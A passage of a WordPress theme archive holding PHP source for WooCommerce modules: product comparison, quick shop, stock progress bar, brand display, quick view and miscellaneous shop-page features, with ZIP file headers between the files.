					'title'       => $product->get_title() ? $product->get_title() : $divider,
					'image'       => $product->get_image() ? $product->get_image() : $divider,
					'rating'      => wc_get_rating_html( $average, $rating_count ),
					'price'       => $product->get_price_html() ? $product->get_price_html() : $divider,
					'add_to_cart' => $this->compare_add_to_cart_html( $product ) ? $this->compare_add_to_cart_html( $product ) : $divider,
				),
				'id'           => $product->get_id(),
				'image_id'     => $product->get_image_id(),
				'permalink'    => $product->get_permalink(),
				'dimensions'   => wc_format_dimensions( $product->get_dimensions( false ) ),
				'description'  => $product->get_short_description() ? $product->get_short_description() : $divider,
				'weight'       => $product->get_weight() ? $product->get_weight() : $divider,
				'sku'          => $product->get_sku() ? $product->get_sku() : $divider,
				'availability' => $this->compare_availability_html( $product ),
			);

			foreach ( $fields as $field_id => $field_name ) {
				if ( taxonomy_exists( $field_id ) ) {
					$products_data[ $product->get_id() ][ $field_id ] = array();
					$orderby = wc_attribute_orderby( $field_id ) ? wc_attribute_orderby( $field_id ) : 'name';
					$terms   = wp_get_post_terms(
						$product->get_id(),
						$field_id,
						array(
							'orderby' => $orderby,
						)
					);
					if ( ! empty( $terms ) ) {
						foreach ( $terms as $term ) {
							$term = sanitize_term( $term, $field_id );
							$products_data[ $product->get_id() ][ $field_id ][] = $term->name;
						}
					} else {
						$products_data[ $product->get_id() ][ $field_id ][] = '-';
					}
					$products_data[ $product->get_id() ][ $field_id ] = implode( ', ', $products_data[ $product->get_id() ][ $field_id ] );
				}
			}
		}

		return $products_data;
	}

	public function get_compare_fields( $user_field = array() ) {
		$fields = array(
			'basic' => penci_woo_translate_text( 'penci_woo_trans_compare_product' ),
		);

		$fields_settings = is_array( $user_field ) && $user_field ? $user_field : '';

		if ( is_array( $fields_settings ) && count( $fields_settings ) > 1 ) {
			$fields_labels = $this->compare_available_fields( true );

			foreach ( $fields_settings as $field ) {
				if ( isset( $fields_labels [ $field ] ) ) {
					$fields[ $field ] = $fields_labels [ $field ]['name'];
				}
			}

			return $fields;
		}

		if ( isset( $fields_settings['enabled'] ) && count( $fields_settings['enabled'] ) > 1 ) {
			$fields = $fields + $fields_settings['enabled'];
		}

		return $fields;
	}

	public static function compare_available_fields( $new = false ) {
		$product_attributes = array();

		if ( function_exists( 'wc_get_attribute_taxonomies' ) ) {
			$product_attributes = wc_get_attribute_taxonomies();
		}

		if ( $new ) {
			$options = array(
				'description'  => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_desc' ),
					'value' => 'description',
				),
				'dimensions'   => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_demensions' ),
					'value' => 'dimensions',
				),
				'weight'       => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_weight' ),
					'value' => 'weight',
				),
				'availability' => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_availability' ),
					'value' => 'availability',
				),
				'sku'          => array(
					'name'  => penci_woo_translate_text( 'penci_woo_trans_sku' ),
					'value' => 'sku',
				),

			);

			if ( count( $product_attributes ) > 0 ) {
				foreach ( $product_attributes as $attribute ) {
					$options[ 'pa_' . $attribute->attribute_name ] = array(
						'name'  => wc_attribute_label( $attribute->attribute_label ),
						'value' => 'pa_' . $attribute->attribute_name,
					);
				}
			}

			return $options;
		}

		$fields = array(
			'enabled'  => array(
				'description'  => penci_woo_translate_text( 'penci_woo_trans_desc' ),
				'sku'          => penci_woo_translate_text( 'penci_woo_trans_sku' ),
				'availability' => penci_woo_translate_text( 'penci_woo_trans_availability' ),
			),
			'disabled' => array(
				'weight'     => penci_woo_translate_text( 'penci_woo_trans_weight' ),
				'dimensions' => penci_woo_translate_text( 'penci_woo_trans_demensions' ),
			),
		);

		if ( count( $product_attributes ) > 0 ) {
			foreach ( $product_attributes as $attribute ) {
				$fields['disabled'][ 'pa_' . $attribute->attribute_name ] = $attribute->attribute_label;
			}
		}

		return $fields;
	}

	public function compare_add_to_cart_html( $product ) {
		if ( ! $product ) {
			return;
		}

		$defaults = array(
			'quantity'   => 1,
			'class'      => implode(
				' ',
				array_filter(
					array(
						'button',
						'product_type_' . $product->get_type(),
						$product->is_purchasable() && $product->is_in_stock() ? 'add_to_cart_button' : '',
						$product->supports( 'ajax_add_to_cart' ) && $product->is_purchasable() && $product->is_in_stock() ? 'ajax_add_to_cart' : '',
					)
				)
			),
			'attributes' => array(
				'data-product_id'  => $product->get_id(),
				'data-product_sku' => $product->get_sku(),
				'aria-label'       => $product->add_to_cart_description(),
				'rel'              => 'nofollow',
			),
		);

		$args = apply_filters( 'woocommerce_loop_add_to_cart_args', $defaults, $product );

		if ( isset( $args['attributes']['aria-label'] ) ) {
			$args['attributes']['aria-label'] = strip_tags( $args['attributes']['aria-label'] );
		}

		return apply_filters(
			'woocommerce_loop_add_to_cart_link',
			sprintf(
				'<a href="%s" data-quantity="%s" class="%s add-to-cart-loop" %s><span>%s</span></a>',
				esc_url( $product->add_to_cart_url() ),
				esc_attr( isset( $args['quantity'] ) ? $args['quantity'] : 1 ),
				esc_attr( isset( $args['class'] ) ? $args['class'] : 'button' ),
				isset( $args['attributes'] ) ? wc_implode_html_attributes( $args['attributes'] ) : '',
				esc_html( $product->add_to_cart_text() )
			),
			$product,
			$args
		);
	}

	public function compare_availability_html( $product ) {
		$html         = '';
		$availability = $product->get_availability();

		if ( empty( $availability['availability'] ) ) {
			$availability['availability'] = __( 'In stock', 'woocommerce' );
		}

		if ( ! empty( $availability['availability'] ) ) {
			ob_start();

			wc_get_template(
				'single-product/stock.php',
				array(
					'product'      => $product,
					'class'        => $availability['class'],
					'availability' => $availability['availability'],
				)
			);

			$html = ob_get_clean();
		}

		return apply_filters( 'woocommerce_get_stock_html', $html, $product );
	}

	public function is_products_have_field( $field_id, $products ) {
		foreach ( $products as $product_id => $product ) {
			if ( isset( $product[ $field_id ] ) && ( ! empty( $product[ $field_id ] ) && '-' !== $product[ $field_id ] && 'N/A' !== $product[ $field_id ] ) ) {
				return true;
			}
		}

		return false;
	}

	public function compare_display_field( $field_id, $product ) {

		$type = $field_id;

		if ( 'pa_' === substr( $field_id, 0, 3 ) ) {
			$type = 'attribute';
		}

		switch ( $type ) {
			case 'basic':
				echo '<div class="compare-basic-content">';
				echo '<div class="penci-top-button"><a title="' . penci_woo_translate_text( 'penci_woo_trans_remove_product' ) . '" href="#" rel="nofollow" data-method="remove" class="button penci-compare" data-pid="' . esc_attr( $product['id'] ) . '">' . penci_woo_translate_text( 'penci_woo_trans_remove_product' ) . '</a></div>';
				echo '<a class="product-image" href="' . get_permalink( $product['id'] ) . '">' . $product['basic']['image'] . '</a>';
				echo '<h4 class="penci-product-title"><a href="' . get_permalink( $product['id'] ) . '">' . $product['basic']['title'] . '</a></h4>';
				echo wp_kses_post( $product['basic']['rating'] );
				echo '<div class="price">';
				echo wp_kses_post( $product['basic']['price'] );
				echo '</div>';
				if ( ! get_theme_mod( 'penci_woo_catalog_mode' ) ) {
					echo $product['basic']['add_to_cart'];
				}
				echo '</div>';
				break;

			case 'attribute':
				if ( $field_id === get_theme_mod( 'penci_woocommerce_brand_attr' ) ) {
					$brands = wc_get_product_terms( $product['id'], $field_id, array( 'fields' => 'all' ) );

					if ( empty( $brands ) ) {
						echo '-';

						return;
					}

					foreach ( $brands as $brand ) {
						$image = get_term_meta( $brand->term_id, 'image', true );

						if ( ! empty( $image ) ) {
							echo '<div class="penci-brand-compare">';
							echo '<img src="' . esc_url( wp_get_attachment_image_url( $image, 'full' ) ) . '" title="' . esc_attr( $brand->name ) . '" alt="' . esc_attr( $brand->name ) . '" />';
							echo '</div>';
						} else {
							echo wp_kses_post( $product[ $field_id ] );
						}
					}
				} else {
					echo wp_kses_post( $product[ $field_id ] );
				}
				break;

			case 'weight':
				if ( $product[ $field_id ] ) {
					$unit = $product[ $field_id ] !== '-' ? get_option( 'woocommerce_weight_unit' ) : '';
					echo wc_format_localized_decimal( $product[ $field_id ] ) . ' ' . esc_attr( $unit );
				}
				break;

			case 'description':
				echo apply_filters( 'woocommerce_short_description', $product[ $field_id ] );
				break;

			default:
				echo wp_kses_post( $product[ $field_id ] );
				break;
		}
	}
}

$product_compare = new penci_product_compare();
PK     N\OR    %  inc/woocommerce/modules/quickshop.phpnu [        <?php

class penci_product_quickshop {
	function __construct() {
		add_action( 'wp_ajax_penci_quick_shop', array( $this, 'quick_shop' ) );
		add_action( 'wp_ajax_nopriv_penci_quick_shop', array( $this, 'quick_shop' ) );
		add_action( 'penci_loop_product_image', array( $this, 'quick_shop_wrapper' ) );
	}

	public function quick_shop( $id = false ) {
		if ( isset( $_GET['id'] ) ) {
			$id = sanitize_text_field( (int) $_GET['id'] );
		}
		if ( ! $id ) {
			return;
		}

		global $post;

		$args = array( 'post__in' => array( $id ), 'post_type' => 'product' );

		$quick_posts = get_posts( $args );

		foreach ( $quick_posts as $post ) :
			setup_postdata( $post );
			woocommerce_template_single_add_to_cart();
		endforeach;

		wp_reset_postdata();

		die();
	}

	function quick_shop_wrapper() {
		?>
        <div class="quick-shop-wrapper">
            <div class="quick-shop-close"><a href="#"
                                             rel="nofollow noopener"><?php penci_woo_translate_text( 'penci_woo_trans_close' ); ?></a>
            </div>
            <div class="quick-shop-form" data-pid="<?php echo get_the_ID(); ?>"></div>
        </div>
		<?php
	}
}

$penci_product_quickshop = new penci_product_quickshop();
PK     N\#5
  5
  (  inc/woocommerce/modules/progress-bar.phpnu [        <?php

class penci_product_progress_bar {

	function __construct() {
		add_action( 'woocommerce_process_product_meta_simple', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_process_product_meta_variable', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_process_product_meta_grouped', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_process_product_meta_external', array( $this, 'save_total_stock_quantity' ) );
		add_action( 'woocommerce_product_options_inventory_product_data', array(
			$this,
			'total_stock_quantity_input'
		) );

		add_action( 'penci_after_shop_loop', array( $this, 'stock_progress_bar' ) );
		add_action( 'woocommerce_single_product_summary', array( $this, 'stock_progress_bar' ), 15 );
	}

	public function stock_progress_bar() {
		$stock_press = wc_get_loop_prop( 'stock_progress_bar', false );
		if ( ! $stock_press ) {
			return;
		}
		$product_id    = get_the_ID();
		$total_stock   = (int) get_post_meta( $product_id, 'penci_total_stock_quantity', true );
		$current_stock = (int) get_post_meta( $product_id, '_stock', true );
		$total_sales   = (int) get_post_meta( $product_id, 'total_sales', true );
		$total_stock   = ! empty( $total_stock ) && $total_stock > 0 ? $total_stock : $total_sales + $current_stock;

		if ( ! $total_stock ) {
			return;
		}

		$total_sold = $total_stock > $current_stock ? $total_stock - $current_stock : 0;
		$percentage = $total_sold > 0 ? round( $total_sold / $total_stock * 100 ) : 0;

		if ( $current_stock > 0 ) {
			get_template_part(
				'woocommerce/product-loop/progress',
				'bar',
				array(
					'total_sold'    => $total_sold,
					'current_stock' => $current_stock,
					'percentage'    => $percentage,
				)
			);
		}
	}

	public function total_stock_quantity_input() {
		echo '<div class="options_group">';
		woocommerce_wp_text_input(
			array(
				'id'          => 'penci_total_stock_quantity',
				'label'       => penci_woo_translate_text( 'penci_woo_trans_innumbeistock' ),
				'desc_tip'    => 'true',
				'description' => penci_woo_translate_text( 'penci_woo_trans_rqinnumbeistock' ),
				'type'        => 'text',
			)
		);
		echo '</div>';
	}

	public function save_total_stock_quantity( $post_id ) { // phpcs:ignore
		$stock_quantity = isset( $_POST['penci_total_stock_quantity'] ) && $_POST['penci_total_stock_quantity'] ? wc_clean( $_POST['penci_total_stock_quantity'] ) : ''; // phpcs:ignore

		update_post_meta( $post_id, 'penci_total_stock_quantity', $stock_quantity );
	}
}

$penci_product_progress_bar = new penci_product_progress_bar();
PK     N\ޭY    !  inc/woocommerce/modules/brand.phpnu [        <?php

class penci_product_brand {
	function __construct() {
		add_action( 'woocommerce_before_single_product', array( $this, 'brand_setup' ) );
	}

	public function brand_setup() {

		global $product;
		$brand_locate = get_theme_mod( 'penci_woocommerce_brand_display', 'summary' );
		if ( is_singular( 'product' ) ) {
			$post_locate  = penci_get_single_product_meta( $product->get_id(), 'product_extra_options', 'brand_locate' );
			$brand_locate = $post_locate ? $post_locate : $brand_locate;
		}
		$brand_locate = ( 'top' == $brand_locate ) ? [
			'woocommerce_single_product_summary',
			3
		] : [ 'woocommerce_product_meta_end', 5 ];

		add_filter( 'woocommerce_product_tabs', array( $this, 'product_brand_tab' ) );
		add_action( $brand_locate[0], array( $this, 'product_brand' ), $brand_locate[1] );

	}

	public function product_brand() {
		global $product;
		$attr = get_theme_mod( 'penci_woocommerce_brand_attr' );
		if ( ! $attr || ! get_theme_mod( 'penci_woocommerce_brand' ) ) {
			return;
		}

		$attributes = $product->get_attributes();

		if ( ! isset( $attributes[ $attr ] ) || empty( $attributes[ $attr ] ) ) {
			return;
		}

		$brands   = wc_get_product_terms( $product->get_id(), $attr, array( 'fields' => 'all' ) );
		$taxonomy = get_taxonomy( $attr );

		if ( empty( $brands ) ) {
			return;
		}

		if ( penci_is_shop_on_front() ) {
			$link = home_url();
		} else {
			$link = get_post_type_archive_link( 'product' );
		}


		echo '<div class="penci-product-brands">';

		foreach ( $brands as $brand ) {
			$image       = get_term_meta( $brand->term_id, 'image', true );
			$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $attr ) );
			$attrs       = '';


			if ( is_object( $taxonomy ) && $taxonomy->public ) {
				$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
			} else {
				$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
			}

			$content = esc_attr( $brand->name );

			if ( $image ) {
				$img_url = wp_get_attachment_image_url( $image, 'full' );
				$w       = penci_get_image_data_basedurl( $img_url, 'w' );
				$h       = penci_get_image_data_basedurl( $img_url, 'h' );
				$content = '<img width="' . esc_attr( $w ) . '" height="' . esc_attr( $h ) . '" src="' . esc_url( $img_url ) . '" title="' . esc_attr( $brand->name ) . '" alt="' . esc_attr( $brand->name ) . '">';
			}

			echo '<div class="penci-product-brand">';
			echo '<span class="brand-title">' . esc_attr__( 'Brands', 'soledad' ) . ': </span>';
			echo '<a href="' . esc_url( $attr_link ) . '">' . $content . '</a>'; // phpcs:ignore
			echo '</div>';
		}

		echo '</div>';
	}

	function product_brands_links() {
		global $product;
		$brand_option = get_theme_mod( 'penci_woocommerce_brand_attr' );
		$brands       = wc_get_product_terms( $product->get_id(), $brand_option, array( 'fields' => 'all' ) );
		$taxonomy     = get_taxonomy( $brand_option );

		$link = ( penci_is_shop_on_front() ) ? home_url() : get_post_type_archive_link( 'product' );

		echo '<div class="penci-product-brands-links">';

		foreach ( $brands as $brand ) {
			$filter_name = 'filter_' . sanitize_title( str_replace( 'pa_', '', $brand_option ) );

			if ( is_object( $taxonomy ) && $taxonomy->public ) {
				$attr_link = get_term_link( $brand->term_id, $brand->taxonomy );
			} else {
				$attr_link = add_query_arg( $filter_name, $brand->slug, $link );
			}

			$sep = ', ';
			if ( end( $brands ) == $brand ) {
				$sep = '';
			}

			echo '<a href="' . esc_url( $attr_link ) . '">' . $brand->name . '</a>' . $sep;
		}

		echo '</div>';
	}

	function product_brand_tab( $tabs ) {
		global $product;

		$show_tab    = false;
		$brand_title = penci_woo_translate_text( 'penci_woo_trans_about_brand' );
		$brand_info  = wc_get_product_terms( $product->get_id(), get_theme_mod( 'penci_woocommerce_brand_attr' ), array( 'fields' => 'all' ) );
		if ( ! isset( $brand_info[0] ) ) {
			return $tabs;
		}

		if ( $brand_info[0]->description ) {
			$show_tab = true;
		}
		if ( get_theme_mod( 'penci_woocommerce_brand_tab_title', false ) ) {
			$brand_title = penci_woo_translate_text( 'penci_woo_trans_text_about' ) . ' ' . $brand_info[0]->name;
		}

		if ( $show_tab ) {
			$tabs['brand_tab'] = array(
				'title'    => $brand_title,
				'priority' => 50,
				'callback' => array( $this, 'product_brand_tab_content' ),
			);
		}

		return $tabs;
	}

	function product_brand_tab_content() {
		global $product;
		$attr = get_theme_mod( 'penci_woocommerce_brand_attr' );
		if ( ! $attr ) {
			return;
		}

		$attributes = $product->get_attributes();

		if ( ! isset( $attributes[ $attr ] ) || empty( $attributes[ $attr ] ) ) {
			return;
		}

		$brands = wc_get_product_terms( $product->get_id(), $attr, array( 'fields' => 'slugs' ) );

		if ( empty( $brands ) ) {
			return;
		}

		foreach ( $brands as $id => $slug ) {
			echo '<div class="penci-product-brand-description post-entry">';
			$brand = get_term_by( 'slug', $slug, $attr );
			echo do_shortcode( $brand->description );
			echo '</div>';
		}

	}
}

$penci_product_brand = new penci_product_brand();
PK     N\8    &  inc/woocommerce/modules/quick_view.phpnu [        <?php

/**
 * Product Quick View
 */
class penci_product_quickview {

	function __construct() {
		add_action( 'penci_loop_product_buttons', array( $this, 'quickview_button' ) );
		add_action( 'wp_ajax_nopriv_penci_quickview', array( $this, 'quickview_content' ) );
		add_action( 'wp_ajax_penci_quickview', array( $this, 'quickview_content' ) );
		add_action( 'admin_notices', array( $this, 'compare_admin_notice' ) );
	}

	public function quickview_button() {
		echo '<a title="' . penci_woo_translate_text( 'penci_woo_trans_quickview' ) . '" href="#" data-pID="' . get_the_ID() . '" class="penci-quickview-button button">' . __( 'Quick View', 'soledad' ) . '</a>';
	}

	public function quickview_content() {
		global $post, $product;
		$nonce = isset( $_GET['nonce'] ) ? $_GET['nonce'] : '';
		if ( ! wp_verify_nonce( $nonce, 'ajax-nonce' ) ) {
			die ( 'Nope!' );
		}

		$productID = ( isset( $_GET['pid'] ) ) ? $_GET['pid'] : '';
		if ( $productID ) {
			$productView = get_posts( array( 'post_type' => 'product', 'post__in' => array( $productID ) ) );
			if ( $productView ) {
				foreach ( $productView as $post ) {
					setup_postdata( $post );
					$product = wc_get_product( $post );
					wc_set_loop_prop( 'quickview', true );
					wc_get_template_part( 'content', 'quickview' );
				}
				wp_reset_postdata();
				wc_reset_loop();
			}
		}
		die();
	}

	public function compare_admin_notice() {
		$query['autofocus[section]'] = 'pencidesign_woo_quickview_settings';
		$section_link                = add_query_arg( $query, admin_url( 'customize.php' ) );
		if ( get_theme_mod( 'penci_woocommerce_quickview', true ) && class_exists( 'YITH_WCQV_Frontend' ) ) {
			?>
            <div class="notice notice-error is-dismissible">
                <p><?php _e( 'You\'ve activated the YITH WooCommerce Quick View plugin, please go to <a href="' . esc_url( $section_link ) . '">this page</a> to disable default theme quick view.', 'soledad' ); ?></p>
            </div>
			<?php

		}
	}
}

$productQuickView = new penci_product_quickview();
PK     N\-..  .     inc/woocommerce/modules/misc.phpnu [        <?php

class penci_product_misc {

	protected static $instance;

	function __construct() {

		add_action( 'wp_ajax_penci_update_cart_item', array( $this, 'penci_update_cart_item' ) );
		add_action( 'wp_ajax_nopriv_penci_update_cart_item', array( $this, 'penci_update_cart_item' ) );

		add_action( 'wp_ajax_penci_ajax_load_products', array( $this, 'ajax_load_products' ) );
		add_action( 'wp_ajax_nopriv_penci_ajax_load_products', array( $this, 'ajax_load_products' ) );

		add_action( 'wp_ajax_penci_get_product_info', array( $this, 'get_product_info' ) );
		add_action( 'wp_ajax_nopriv_penci_get_product_info', array( $this, 'get_product_info' ) );

		add_filter( 'woocommerce_sale_flash', array( $this, 'product_label' ), 10 );
		add_action( 'woocommerce_before_single_product_summary', array( $this, 'penci_top_relate_products' ), 5 );

		add_action( 'penci_woocommerce_before_main_shop_content_right', function () {
			echo '<div class="penci-wofilter-inner">';
		}, 4 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', array( $this, 'product_grid_label' ), 5 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', array( $this, 'product_style_select' ), 5 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', array(
			$this,
			'top_catalog_product_filter_trigger'
		), 9 );
		add_action( 'penci_woocommerce_before_main_shop_content_right', function () {
			echo '</div>';
		}, 9 );

		add_action( 'woocommerce_shop_loop_item_title', array( $this, 'product_categories_link' ), 15 );
		add_action( 'init', array( $this, 'login_to_see_price' ), 200 );


		add_action( 'wp_footer', array( $this, 'mobile_nav_menu' ) );
		add_filter( 'wp_nav_menu_items', array( $this, 'mobile_menu_filter' ), 10, 2 );


		if ( ! get_theme_mod( 'penci_woo_cat_enable_sidebar' ) ) {
			add_action( 'woocommerce_archive_description', array( $this, 'top_catalog_product_filter' ), 5 );
		}

		remove_action( 'woocommerce_cart_is_empty', 'wc_empty_cart_message', 10 );

		add_action( 'woocommerce_cart_is_empty', array( $this, 'empty_cart_message' ), 10 );

		add_action( 'penci_footer_nav_cart_item', array( $this, 'mobile_cart_totals' ) );
		add_action( 'woocommerce_add_to_cart_fragments', array( $this, 'mobile_cart_totals_fragment' ) );

		add_action( 'wp_ajax_penci_add_to_cart_variable', array(
			$this,
			'penci_add_to_cart_variable'
		) );
		add_action( 'wp_ajax_nopriv_penci_add_to_cart_variable', array(
			$this,
			'penci_add_to_cart_variable'
		) );

		add_action( 'woocommerce_after_shop_loop', array( $this, 'blog_search_result' ), 100 );
		add_action( 'penci_after_search_loop', array( $this, 'product_search_result' ), 100 );
	}

	public static function get_instance() {
		if ( null == self::$instance ) {
			self::$instance = new self();
		}

		return self::$instance;
	}

	public function penci_top_relate_products() {
		if ( wc_get_loop_prop( 'quickview', false ) || ! get_theme_mod( 'penci_single_product_top_related_product', true ) ) {
			return;
		}
		$current_id          = apply_filters( 'penci_top_relate_products_exclude', get_the_ID() );
		$top_relate_products = get_posts( array(
			'post_type'      => 'product',
			'post__not_in'   => array( $current_id ),
			'posts_per_page' => 2,
		) );
		if ( $top_relate_products ) {
			echo '<div class="penci-top-relate-post"><ul>';
			$count = 0;
			foreach ( $top_relate_products as $product_item ) {
				$id        = $product_item->ID;
				$product   = wc_get_product( $id );
				$classes   = 0 == $count ? 'left' : 'right';
				$link      = ( penci_is_shop_on_front() ) ? home_url() : get_post_type_archive_link( 'product' );
				$seperator = '<li class="item-shop-link"><a class="icon-link" href="' . esc_url( $link ) . '"><svg height="14px" viewBox="-19 -19 600 600" width="14px" xmlns="http://www.w3.org/2000/svg"><path d="m251.25 12.5c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 213.75h-201.25v-201.25h201.25zm0 0"/><path d="m562.5 12.5c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 213.75h-201.25v-201.25h201.25zm0 0"/><path d="m251.25 323.75c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 212.5h-201.25v-200h201.25zm0 0"/><path d="m562.5 323.75c0-6.90625-5.59375-12.5-12.5-12.5h-226.25c-6.90625 0-12.5 5.59375-12.5 12.5v226.25c0 6.90625 5.59375 12.5 12.5 12.5h226.25c6.90625 0 12.5-5.59375 12.5-12.5zm-25 212.5h-201.25v-200h201.25zm0 0"/></svg></a></li>';
				$seperator = 'left' == $classes ? $seperator : '';

				echo '<li class="top-ralate-item ' . $classes . '"><a href="' . get_permalink( $id ) . '"><span class="item-icon"><i class="penciicon-' . $classes . '-chevron"></i></span></a>';
				echo '<div class="inner-content"><div class="top-ralate-item__image"><a href="' . get_permalink( $id ) . '">' . get_the_post_thumbnail( $id, 'woocommerce_gallery_thumbnail' ) . '</a></div>';
				echo '<div class="top-ralate-item__summary"><h4><a href="' . get_permalink( $id ) . '">' . get_the_title( $id ) . '</a></h4><span class="price"><a href="' . get_permalink( $id ) . '">' . $product->get_price_html() . '</a></span></div></div>';
				echo '</li>' . $seperator;
				$count ++;
			}
			echo '</ul></div>';
		}
	}

	public function penci_product_quantity( $product ) {
		if ( ! $product->is_sold_individually() && 'variable' != $product->get_type() && $product->is_purchasable() && $product->is_in_stock() ) {
			woocommerce_quantity_input(
				array(
					'min_value' => 1,
					'max_value' => $product->backorders_allowed() ? '' : $product->get_stock_quantity(),
				)
			);
		}
	}

	public function penci_update_cart_item() {
		if ( ( isset( $_GET['item_id'] ) && $_GET['item_id'] ) && ( isset( $_GET['qty'] ) ) ) {
			global $woocommerce;
			if ( $_GET['qty'] ) {
				$woocommerce->cart->set_quantity( $_GET['item_id'], $_GET['qty'] );
			} else {
				$woocommerce->cart->remove_cart_item( $_GET['item_id'] );
			}
		}

		WC_AJAX::get_refreshed_fragments();
	}

	function product_label() {
		global $product;

		$output = array();

		$percentage_label = get_theme_mod( 'penci_woo_label_percentage', true );

		if ( $product->is_on_sale() ) {

			$percentage = '';

			if ( $product->get_type() == 'variable' && $percentage_label ) {

				$available_variations = $product->get_variation_prices();
				$max_percentage       = 0;

				foreach ( $available_variations['regular_price'] as $key => $regular_price ) {
					$sale_price = $available_variations['sale_price'][ $key ];

					if ( $sale_price < $regular_price ) {
						$percentage = round( ( ( $regular_price - $sale_price ) / $regular_price ) * 100 );

						if ( $percentage > $max_percentage ) {
							$max_percentage = $percentage;
						}
					}
				}

				$percentage = $max_percentage;
			} elseif ( ( $product->get_type() == 'simple' || $product->get_type() == 'external' || $product->get_type() == 'variation' ) && $percentage_label ) {
				$percentage = round( ( ( $product->get_regular_price() - $product->get_sale_price() ) / $product->get_regular_price() ) * 100 );
			}

			if ( $percentage ) {
				$output[] = '<span class="onsale product-label">-' . $percentage . '%' . '</span>';
			} else {
				$output[] = '<span class="onsale product-label">' . penci_woo_translate_text( 'penci_woo_trans_sale' ) . '</span>';
			}
		}

		if ( ! $product->is_in_stock() ) {
			$output[] = '<span class="out-of-stock product-label">' . penci_woo_translate_text( 'penci_woo_trans_sold_out' ) . '</span>';
		}

		if ( $product->is_featured() && get_theme_mod( 'penci_woo_label_hot_product', true ) ) {
			$output[] = '<span class="featured product-label">' . penci_woo_translate_text( 'penci_woo_trans_hot' ) . '</span>';
		}

		if ( $this->is_new_label_needed( $product->get_id() ) ) {
			$output[] = '<span class="new product-label">' . penci_woo_translate_text( 'penci_woo_trans_new' ) . '</span>';
		}

		if ( $output ) {
			echo '<div class="product-labels labels-' . get_theme_mod( 'penci_woo_label_style', 'square' ) . '">' . implode( '', $output ) . '</div>';
		}
	}

	public function is_new_label_needed( $product_id ) {
		$enable       = get_theme_mod( 'penci_woo_label_new_product', true );
		$new          = penci_get_single_product_meta( $product_id, 'product_extra_options', 'permanent_new_label' );
		$newness_days = get_theme_mod( 'penci_woo_label_new_product_period', 7 );
		$product      = wc_get_product( $product_id );
		$created      = strtotime( $product->get_date_created() );

		if ( $new ) {
			return true;
		}

		if ( $enable && $newness_days && ( time() - ( 60 * 60 * 24 * $newness_days ) ) < $created ) {
			return true;
		}

		return false;
	}

	public function product_grid_label() {
		if ( ! wc_get_loop_prop( 'is_paginated' ) || ! woocommerce_products_will_display() ) {
			return;
		}


		$default_posts_per_page    = array( penci_woo_get_products_per_page() );
		$per_page_options          = get_theme_mod( 'penci_woo_post_per_page_variations', '9,24,36,-1' );
		$products_per_page_options = ( ! empty( $per_page_options ) ) ? explode( ',', $per_page_options ) : array(
			'12' => 12,
			'24' => 24,
			'36' => 36,
		);
		$products_per_page_options = array_unique( array_merge( $default_posts_per_page, $products_per_page_options ) );
		asort( $products_per_page_options );
		?>

        <div class="penci-products-per-page">
			<span class="per-page-title">
				<?php echo penci_woo_translate_text( 'penci_woo_trans_show' ); ?>
			</span>

			<?php
			foreach ( $products_per_page_options as $key => $value ) :

				$classes = '';
				$args = array(
					'per_page' => $value,
				);

				$link = add_query_arg( $args, penci_shop_page_link( true ) );

				if ( (int) penci_woo_get_products_per_page() === (int) $value ) { // phpcs:ignore
					$classes .= ' current-variation';
				}
				?>
                <a rel="nofollow noopener" href="<?php echo esc_url( $link ); ?>"
                   class="per-page-variation<?php echo esc_attr( $classes ); ?>">
					<span>
						<?php
						$text = '%s';
						esc_html( printf( $text, $value == - 1 ? penci_woo_translate_text( 'penci_woo_trans_all' ) : $value ) );
						?>
					</span>
                </a>
			<?php endforeach; ?>
        </div>
		<?php
	}

	public function product_style_select( $is_element ) {
		if ( ! wc_get_loop_prop( 'is_paginated' ) || ! woocommerce_products_will_display() ) {
			return;
		}

		$shop_view        = get_theme_mod( 'penci_shop_product_view', 'grid_list' );
		$per_row_selector = get_theme_mod( 'penci_woo_per_row_columns_selector', true );
		$columns_settings = get_theme_mod( 'penci_shop_product_columns', 3 );

		$per_row_options = ( 4 >= $columns_settings ) ? array( 2, 3, 4 ) : array( 2, 3, 4, 5, 6 );

		$current_shop_view        = penci_get_shop_view();
		$current_per_row          = penci_get_products_columns_per_row();
		$products_per_row_options = ( ! empty( $per_row_options ) ) ? array_unique( $per_row_options ) : array(
			2,
			3,
			4
		);

		if ( 'list' === $shop_view || ( 'grid' === $shop_view && ! $per_row_selector ) || ( 'grid' === $shop_view && ! $per_row_options ) ) {
			return;
		}

		?>
        <div class="penci-products-shop-view <?php echo esc_attr( 'products-view-' . $shop_view ); ?>">
			<?php if ( 'grid' !== $shop_view ) : ?>
				<?php
				$classes = '';
				$args    = array(
					'shop_view' => 'list',
				);

				if ( $is_element ) {
					$args['shortcode'] = true;
				}

				if ( ( 'list' === $current_shop_view && ! $is_element ) || ( $is_element && isset( $_GET['shop_view'] ) && 'list' === $_GET['shop_view'] ) ) { // phpcs:ignore
					$classes .= ' current-variation';
				}

				$link = add_query_arg( $args, penci_shop_page_link( true ) );
				?>

                <a rel="nofollow noopener" href="<?php echo esc_url( $link ); ?>"
                   class="shop-view per-row-list<?php echo esc_attr( $classes ); ?>">
                    <svg class="icon">
                        <use xlink:href="#list"/>
